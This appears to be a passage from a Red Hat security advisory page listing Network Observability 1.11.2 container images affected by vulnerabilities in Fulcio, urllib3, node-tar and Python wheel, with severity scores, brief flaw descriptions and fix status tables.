| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Fulcio, a free-to-use certificate authority. This vulnerability allows a denial of service (DoS) due to excessive memory allocation when processing a malicious OpenID Connect (OIDC) identity token containing numerous period characters.
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le | — |
Vendor Fix
fix
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x | — |
Vendor Fix
fix
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64 | — |
Vendor Fix
fix
|
Known not affected
21 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64 | — |
Threats
Impact
Important
urllib3 is an HTTP client library for Python. urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. urllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption. Starting in version 1.22 and prior to version 2.6.3, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client. Applications and libraries are affected when they stream content from untrusted sources by setting `preload_content=False` when they do not disable redirects. Users should upgrade to at least urllib3 v2.6.3, in which the library does not decode content of redirect responses when `preload_content=False`. If upgrading is not immediately possible, disable redirects by setting `redirect=False` for requests to untrusted source.
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le | — |
Vendor Fix
fix
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x | — |
Vendor Fix
fix
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64 | — |
Vendor Fix
fix
|
Known not affected
21 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64 | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le | — | ||
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64 | — |
Threats
Impact
Important
A flaw was found in the node-tar library. This vulnerability allows an attacker to craft malicious archives that, when extracted, can bypass intended security restrictions. This leads to arbitrary file overwrite and symlink poisoning, potentially allowing unauthorized modification of files on the system.
8.2 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x | — |
Vendor Fix
fix
Workaround
|
Known not affected
21 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64 | — |
Workaround
|
Threats
Impact
Important
A path traversal flaw has been discovered in the python wheel too. The unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts.
7.1 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
24 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in node-tar, a Node.js module for handling TAR archives. This vulnerability allows a remote attacker to bypass path traversal protections by crafting a malicious TAR archive. The security check for hardlink entries uses different path resolution logic than the actual hardlink creation, enabling the attacker to create hardlinks to arbitrary files outside the intended extraction directory. This could lead to unauthorized information disclosure or further system compromise.
8.2 (High)
Affected products
Fixed
8 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
